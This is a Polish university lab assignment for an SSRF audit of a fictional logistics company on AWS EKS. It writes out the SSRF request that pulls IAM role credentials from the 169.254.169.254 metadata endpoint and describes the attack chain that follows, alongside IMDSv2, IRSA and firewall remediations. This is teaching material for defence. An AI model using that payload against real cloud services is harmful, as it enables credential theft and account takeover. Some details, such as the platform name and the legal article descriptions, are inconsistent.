Trans-Cargo Polska S.A. – CargoCloud na klastrze AWS EKS (NIS2/ DORA / CIS AWS)Audyt A10:2021 Server-Side Request Forgery / SSRF (formuła 90 min)1SSRF w mikroserwisiegenerowania podglądudokumentów celnychPDF2Odpyta IMDSv1169.254.169.254,kradzież poświadczeńroli IAM3Ruch boczny,szyfrowanie S3, okup5 mln USD (IR=25,CVSS 9.9)4IMDSv2 hop limit=1 +AWS Network Firewall+ IRSA LeastPrivilege + CAPSchemat strategicznego audytu podatności Server-Side Request Forgery SSRF w chmurze AWS: odpytaniemetadanych IMDSv1, przejęcie roli IAM, ruch boczny w Kubernetes EKS, model 4C, matryca ryzyka 5x5 i
Schemat strategicznego audytu podatności Server-Side Request Forgery SSRF w chmurze AWS: odpytanie metadanych IMDSv1, przejęcie roli IAM, ruch boczny w Kubernetes EKS, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu podatności fałszowania żądań po stronie serwera (kategoria OWASP Top 10:2021 - A10:2021 Server-Side Request Forgery - SSRF) w chmurowej platformie dyspozycji frachtowej i rozliczeń tranzytowych 'GlobalTransit Cloud' międzynarodowego operatora logistycznego o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Platforma operuje w publicznej chmurze obliczeniowej Amazon Web Services (AWS) z wykorzystaniem zarządzanego klastra Kubernetes (Amazon EKS) oraz instancji wirtualnych Amazon EC2, koordynując transport ładunków o znaczeniu strategicznym (paliwa, komponenty farmaceutyczne, zaopatrzenie wojskowe) na terenie 14 państw Unii Europejskiej. Audyt ujawnia krytyczną podatność SSRF w mikroserwisie generowania podglądu dokumentów celnych i faktur przewozowych PDF (`/api/v1/customs/fetch-declaration?preview_url=...`), który bez jakiejkolwiek walidacji adresu docelowego (brak whitelisting i brak filtrowania adresów prywatnych RFC 1918) pobierał zasoby wskazane przez użytkownika. Co gorsza, na instancjach węzłów roboczych EC2 pozostawiono aktywną archiwalną wersję usługi metadanych (AWS Instance Metadata Service v1 - IMDSv1), która nie wymaga nagłówka sesyjnego tokenu. Intruz, przesyłając adres `http://169.254.169.254/latest/meta-data/iam/security-credentials/TransitMasterRole`, wykrzywił tymczasowe klucze poświadczeń AWS (AccessKeyId, SecretAccessKey, Token) skojarzone z rolą węzła, posiadającą nadmiarowe, krytycznie błędne uprawnienia administracyjne (`AdministratorAccess`). Wykorzystując pozyskane poświadczenia, intruz wykonał ruch boczny w chmurze AWS, wyeksfiltrował telemetrię 8 000 pojazdów, zaszyfrował bazy danych w magazynach Amazon S3 i bazach RDS oprogramowaniem ransomware oraz zażądał 5 mln USD okupu, grożąc całkowitym paraliżem łańcuchów dostaw w Europie Środkowej. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.9 Critical) oraz parametrami BCM (RTO=15m, RPO=0s, MTPD=45m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego wymuszenie standardu IMDSv2, izolację sieciową mikroserwisów za pomocą AWS Network Firewall, wdrożenie ról IRSA (IAM Roles for Service Accounts) wg zasady Least Privilege oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Rady Nadzorczej.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość rygorów bezpieczeństwa łańcucha dostaw i transportu, przepisów Dyrektywy NIS2, Rozporządzenia DORA, Ustawy o KSC, prawa celnego oraz odpowiedzialności karnej z art. 267 i 269b KK (zakłócenie funkcjonowania systemu informatycznego o szczególnym znaczeniu).
  • W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A10 SSRF), OWASP ASVS v4.0.3 L3 (Sekcja V5.5 SSRF Protection), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.20 Bezpieczeństwo sieci, A.8.24 Krypto-zabezpieczenia, A.8.26 Wymagania bezpieczeństwa aplikacji), zaleceń CIS Amazon Web Services Foundations Benchmark v2.0 oraz wytycznych AWS Well-Architected Framework (Security Pillar).
  • U1 Opracowanie zaleceń inżynierskich twardego wymuszenia protokołu IMDSv2 (`HttpTokens=required`, `HttpPutResponseHopLimit=1`) na wszystkich instancjach EC2, migracji uprawnień kontenerów EKS na mechanizm IAM Roles for Service Accounts (IRSA) z restrykcyjnymi politykami IAM, wdrożenia zapory AWS Network Firewall blokującej ruch do adresu 169.254.169.254 z podów aplikacyjnych oraz ochrony przed atakami DNS Rebinding.
  • U2 Bezbłędna kwalifikacja uchybienia SSRF i nadmiarowych uprawnień chmurowych w modelu 4C z powołaniem norm i standardów CIS.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów przejęcia konta AWS, paraliżu łańcucha dostaw i wycieku tras konwojów wojskowych (IR=25, CVSS=9.9, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność w ocenie architektury chmurowej, dbałość o odporność logistyczną państwa i etyka zawodowa.
  • Powiązanie z wykładem: Wyk1 (Audyt ładu w infrastrukturze chmurowej), Wyk3 (Kontrole A.8.20 i A.8.26 ISO 27001), Wyk4 (NIS2 i DORA w logistyce), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza logów AWS CloudTrail, VPC Flow Logs i zapytań SSRF), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

'Trans-Cargo Polska S.A.' jest jednym z wiodących operatorów logistycznych w regionie CEE, dysponującym flotą ponad 4 500 ciągników siodłowych oraz 18 centrami dystrybucyjnymi. System teleinformatyczny 'GlobalTransit Cloud' odpowiada za automatyczną odprawę celną, generowanie międzynarodowych listów przewozowych CMR, billing frachtowy oraz telematyczne monitorowanie położenia pojazdów w czasie rzeczywistym.

Stan faktyczny w obszarze podatności SSRF i incydentu kompromitacji chmury:

  • Mikroserwis obsługi dokumentacji celnej (`customs-service`), wdrożony jako kontener w klastrze Amazon EKS na instancjach EC2, udostępniał publiczny endpoint API: `GET /api/v1/customs/fetch-declaration?preview_url=http://partner-logistics.eu/doc.pdf`. W kodzie aplikacji (Node.js/Axios) brakowało jakiejkolwiek walidacji adresu: aplikacja bezkrytycznie wykonywała żądanie HTTP GET pod wskazany adres URL i zwracała treść odpowiedzi jako strumień bajtów podglądu.
  • W konfiguracji węzłów klastra EC2 usługa metadanych instancji (Instance Metadata Service) działała w domyślnej wersji IMDSv1. Wersja ta nie wymagała autoryzacji tokenem sesyjnym (w przeciwieństwie do IMDSv2, która wymaga uprzedniego pobrania tokenu przez żądanie HTTP PUT z nagłówkiem `X-aws-ec2-metadata-token-ttl-seconds`).
  • Co gorsza, z powodu pośpiechu przy wdrożeniu produkcyjnym, węzłom roboczym EKS przypisano profil instancji (Instance Profile) z rolą IAM `TransitMasterRole`, która zawierała zarządzaną politykę AWS `AdministratorAccess` (dającą pełne uprawnienia do wszystkich usług konta AWS: S3, RDS, IAM, KMS, VPC, CloudTrail).
  • Cyberprzestępcy zidentyfikowali endpoint i przesłali spreparowane żądanie: `GET /api/v1/customs/fetch-declaration?preview_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/TransitMasterRole`. Aplikacja w odpowiedzi zwróciła kompletny obiekt JSON z poświadczeniami administracyjnymi konta AWS (`AccessKeyId`, `SecretAccessKey`, `Token`).
  • Posługując się wykradzionymi kluczami, intruzi połączyli się przez AWS CLI z infrastrukturą spółki. Wyłączyli rejestrowanie zdarzeń w usłudze AWS CloudTrail, wyeksfiltrowali bazy danych klientów i tras ładunków strategicznych z klastra Amazon Aurora PostgreSQL, usunęli migawki (Snapshots) oraz zaszyfrowali za pomocą własnego klucza KMS 40 terabajtów dokumentacji w bucketach Amazon S3, unieruchamiając operacje tranzytowe spółki. Na ekranach dyspozytorów pojawiło się żądanie okupu w wysokości 5 mln USD w kryptowalucie Bitcoin.

Prezes Zarządu spółki, stając przed widmem bankructwa, zerwania kontraktów międzynarodowych, zawiadomienia ABW/CSIRT NASK oraz sankcji z Dyrektywy NIS2, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z NIS2 i Ład Chmurowy): Odpowiada za ład regulacyjny, zgodność z Dyrektywą NIS2, standardami CIS AWS Foundations Benchmark, relacje z Zarządem i ubezpieczycielem cybernetycznym, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

    Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Chmury AWS i K8s): Dokonuje dekonstrukcji exploita SSRF na adres 169.254.169.254, analizuje konfigurację IMDSv1, nadmiarowe uprawnienia roli IAM, projektuje twarde wymuszenie IMDSv2 z parametrem hop limit=1, architekturę IRSA (IAM Roles for Service Accounts) w klastrze EKS, reguły AWS Network Firewall oraz walidację adresów URL z ochroną przed DNS Rebinding.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.9 Critical) i BCM (RTO=15m, RPO=0s, MTPD=45m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Aplikacja celna wykazuje podatność SSRF bez walidacji docelowych adresów IP, na instancjach EC2 włączony jest protokół IMDSv1 bez autoryzacji tokenem, a węzłom roboczym przypisano rolę IAM z uprawnieniami AdministratorAccess, co umożliwiło przejęcie całego konta AWS, zaszyfrowanie danych i żądanie 5 mln USD okupu.

2. Criteria (Kryterium)

Naruszenie standardu CIS Amazon Web Services Foundations Benchmark v2.0 (rekomendacja 5.4 - wymuszenie IMDSv2 i restrykcje hop limit), kontroli ISO/IEC 27001:2022 A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.8.26 (Wymagania bezpieczeństwa aplikacji), standardu OWASP ASVS v4.0.3 L3 (wymóg V5.5 - ochrona przed SSRF i walidacja adresacji), art. 21 Dyrektywy NIS2 oraz art. 269b Kodeksu Karnego.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego intruzi zaszyfrowali chmurę AWS spółki? (Zdobyli tymczasowe klucze administratora z usługi metadanych). 2. W jaki sposób uzyskali dostęp do usługi metadanych? (Wykorzystali podatność SSRF w formularzu podglądu dokumentu celnego).
  2. Dlaczego usługa metadanych wydała klucze na proste zapytanie GET? (Instancje EC2 działały w przestarzałym trybie IMDSv1 bez wymogu tokenu sesyjnego PUT).
  3. Dlaczego rola węzła posiadała uprawnienia AdministratorAccess? (Inżynierowie DevOps użyli domyślnej polityki pełnych uprawnień, aby 'nie tracić czasu na debugowanie uprawnień EKS').

Przyczyna źródłowa: Całkowity brak ładu zarządzania tożsamością i uprawnieniami chmurowymi (Cloud IAM Governance), brak zautomatyzowanych testów konfiguracji chmury (Cloud Security Posture Management - CSPM) oraz rażące naruszenie zasady minimalnych uprawnień (Least Privilege).

4. Consequence (Skutki)

Całkowity paraliż logistyczny w 14 państwach UE, straty materialne szacowane na 32 mln PLN z tytułu kar umownych za niedostarczenie ładunków strategicznych, żądanie okupu 5 mln USD, sankcje administracyjne z Dyrektywy NIS2 do 10 mln EUR lub 2% obrotu oraz odpowiedzialność karna i cywilna Zarządu Spółki.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego intruzi zaszyfrowali chmurę AWS spółki? (Zdobyli tymczasowe klucze administratora z usługi metadanych). 2. W jaki sposób uzyskali dostęp do usługi metadanych? (Wykorzystali podatność SSRF w formularzu podglądu dokumentu celnego).
  2. 2
    Dlaczego usługa metadanych wydała klucze na proste zapytanie GET? (Instancje EC2 działały w przestarzałym trybie IMDSv1 bez wymogu tokenu sesyjnego PUT).
  3. 3
    Dlaczego rola węzła posiadała uprawnienia AdministratorAccess? (Inżynierowie DevOps użyli domyślnej polityki pełnych uprawnień, aby 'nie tracić czasu na debugowanie uprawnień EKS').
  4. root
    Przyczyna źródłowa: Całkowity brak ładu zarządzania tożsamością i uprawnieniami chmurowymi (Cloud IAM Governance), brak zautomatyzowanych testów konfiguracji chmury (Cloud Security Posture Management - CSPM) oraz rażące naruszenie zasady minimalnych uprawnień (Least Privilege).
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Przejęcie pełnej kontroli administracyjnej nad kontem AWS przez podatność SSRF i kradzież roli IAM ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Zaszyfrowanie i utrata baz danych transakcyjnych w S3 i Aurora przez atak ransomware ( 5 5 25/25 1 3 3/25
Wyciek wrażliwych danych o trasach transportów wojskowych i strategicznych ( 4 5 20/25 1 4 4/25
Wykorzystanie instancji chmurowych do ataków na infrastrukturę zewnętrzną ( 4 4 16/25 1 2 2/25
ParametrWartość docelowa
rto15 min dla przywrócenia kontroli nad kontem chmurowym i mikroserwisami
rpo0 sekund (ochrona nienaruszalności rejestrów celnych i transportowych)
mtpd45 minut
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowe wymuszenie standardu IMDSv2 na wszystkich instancjach EC2 za pomocą AWS CLI (`aws ec2 modify-instance-metadata-options --http-tokens required --http-put-response-hop-limit 1`), unieważnienie skompromitowanych poświadczeń IAM i odebranie roli `TransitMasterRole` uprawnień `AdministratorAccess`, zablokowanie na poziomie kodu pobierania adresów IP z puli prywatnej (RFC 1918) oraz pętli zwrotnej (127.0.0.1, 169.254.169.254)A - Prezes Zarządu, R - Główny Architekt Chmury AWS / CISO100% instancji z aktywnym IMDSv2Liczba zapytań IMDSv1 = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełna migracja uprawnień w klastrze Amazon EKS na model IAM Roles for Service Accounts (IRSA) - przypisanie mikroserwisowi `customs-service` dedykowanej roli IAM z uprawnieniami ograniczonymi wyłącznie do operacji odczytu z jednego dedykowanego bucketu S3; wdrożenie w kodzie aplikacji biblioteki SSRF-Filter weryfikującej adresy IP po rozwiązaniu DNS (DNS Resolution Hook) z ochroną przed atakami DNS Rebinding; wdrożenie zapory AWS Network Firewall z regułami blokującymi ruch wychodzący z podów do adresu metadanychA - Dyrektor ds. Technologii Chmurowych, R - Lead SecOps / DevSecOps Engineer100% podów EKS korzystających z dedykowanych ról IRSALiczba ról IAM z uprawnieniami AdministratorAccess = 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie narzędzia klasy Cloud Security Posture Management (CSPM - Wiz / Prisma Cloud) zintegrowanego z AWS Security Hub, automatycznie blokującego wdrażanie maszyn bez IMDSv2 oraz nieautoryzowane modyfikacje polityk IAM (Guardrails w AWS Organizations / Service Control Policies - SCP); audyt certyfikacyjny architektury chmurowej na zgodność z CIS AWS Benchmark v2.0; sformalizowanie Chmurowego Standardu Bezpieczeństwa Grupy KapitałowejA - Zarząd Spółki, R - CISO / Asesor ChmurowyWskaźnik zgodności z CIS AWS Benchmark >= 98%Liczba wykrytych luk konfiguracyjnych w CSPM = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Zapobiegania Atakom SSRF, Ochrony Usług Metadanych i Bezpieczeństwa Chmury AWS w Trans-Cargo Polska S.A." z numerowanymi artykułami:

    • § 1 Cel i zakres procedury (ochrona infrastruktury chmurowej i zgodność z Dyrektywą NIS2).
    • § 2 Bezwzględny obowiązek stosowania IMDSv2 i restrykcji hop limit (zakaz uruchamiania instancji z IMDSv1).
    • § 3 Zasady implementacji zewnętrznych zapytań HTTP w kodzie aplikacji (białe listy domen, ochrona DNS Rebinding).
    • § 4 Standard zarządzania tożsamością IAM w klastrach Kubernetes (wymóg ról IRSA i zasada Least Privilege).
    • § 5 Blokady architektoniczne Service Control Policies (SCP) na poziomie organizacji AWS.
    • § 6 Procedura awaryjnego odcięcia skompromitowanych poświadczeń IAM i sankcje służbowe.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Zarządu i Rady Nadzorczej: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), ochrona przed okupem 5 mln USD i stratami operacyjnymi 32 mln PLN, wyeliminowanie sankcji z NIS2 (do 10 mln EUR), budżet Planu CAP (350 000 PLN na CSPM, reguły SCP i wdrożenie IRSA) oraz stopa zwrotu z inwestycji (ROSI: zagwarantowanie ciągłości strategicznych łańcuchów dostaw).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan prezentacji seminaryjnej przed komisją (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu (3 min): Przedstawienie skali incydentu chmurowego, próby wyłudzenia okupu 5 mln USD, ekspozycji regulacyjnej i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna ataku SSRF i kompromitacji IMDSv1 w AWS (4 min): Prezentacja podatnego endpointu API, zrzutów zapytań do adresu 169.254.169.254, analiza roli IAM AdministratorAccess oraz demonstracja przejęcia kontroli nad kontem AWS CLI (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z CIS AWS Benchmark, Dyrektywą NIS2, normą ISO 27001 i art. 269b KK oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wymuszenia IMDSv2, ról IRSA w klastrze EKS, zapory AWS Network Firewall i platformy CSPM (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania komisji dotyczące mechanizmu ochrony DNS Rebinding i działania parametru hop limit=1 (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk chmurowych i podatności SSRF (IR vs RR).
  • Skutki incydentu przejęcia chmury dla międzynarodowych łańcuchów logistycznych.
  • Budżet Planu CAP (350 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób mechanizm Server-Side Request Forgery (SSRF) umożliwia ominięcie zapór sieciowych i uzyskanie bezpośredniego dostępu do wewnętrznej usługi metadanych instancji w chmurze obliczeniowej (AWS Instance Metadata Service) i czym różni się protokół IMDSv1 od IMDSv2 pod kątem odporności na ataki SSRF?
  • Dlaczego przypisywanie nadmiarowych ról administracyjnych (np. AdministratorAccess) węzłom roboczym klastrów kontenerowych Kubernetes (Amazon EKS) stanowi błąd kardynalny i w jaki sposób technologia IAM Roles for Service Accounts (IRSA) z wykorzystaniem protokołu OIDC zapewnia izolację uprawnień pomiędzy poszczególnymi podami?
  • Jakie techniki ataku typu DNS Rebinding stosują cyberprzestępcy w celu ominięcia prostych filtrów adresacji IP w aplikacjach webowych i w jaki sposób poprawnie zaimplementować walidację adresów URL na poziomie gniazd sieciowych (Socket-Level IP Validation)?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.9 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpieczeństwa Chmury AWS (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut konfiguracyjny ról IRSA i zapór chmurowych vs odporność na kompromitację środowiska produkcyjnego).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A10:2021 Server-Side Request Forgery (SSRF).
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V5.5 SSRF Protection Requirements.
  • Center for Internet Security (CIS): "CIS Amazon Web Services Foundations Benchmark v2.0.0", 2023.
  • Amazon Web Services: "AWS Well-Architected Framework: Security Pillar", AWS Whitepapers 2023.
  • Amazon Web Services: "Configuring the Instance Metadata Service (IMDSv2) on Amazon EC2 Instances", Dokumentacja techniczna AWS 2023.
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.8.26 (Wymagania bezpieczeństwa aplikacji).
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 267 (Nielegalne uzyskanie informacji), art. 269b (Wytwarzanie i udostępnianie programów komputerowych przeznaczonych do popełniania przestępstw).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Precyzyjna identyfikacja i formalna kwalifikacja luki SSRF oraz błędów konfiguracji chmury AWS w modelu 4C oraz dochodzenie 5 Why.
  • U1 Projekt architektury bezpiecznych metadanych IMDSv2, ról IRSA w klastrze Kubernetes i reguł zapory AWS Network Firewall.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość NIS2, CIS AWS Foundations Benchmark, normy ISO 27001 i frameworku AWS Well-Architected.
  • K1K2K3 Obiektywizm, niezależność audytorska, dbałość o nienaruszalność łańcuchów dostaw i wysoka kultura inżynierska.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji diagram przepływu żądania SSRF z poziomu kontenera do adresu 169.254.169.254 oraz wykażcie, w jaki sposób ustawienie parametru `http-put-response-hop-limit 1` uniemożliwia pobranie tokenu IMDSv2 z wnętrza kontenera Kubernetes (ze względu na konieczność pokonania dodatkowego skoku sieciowego przez mostek wirtualny veth).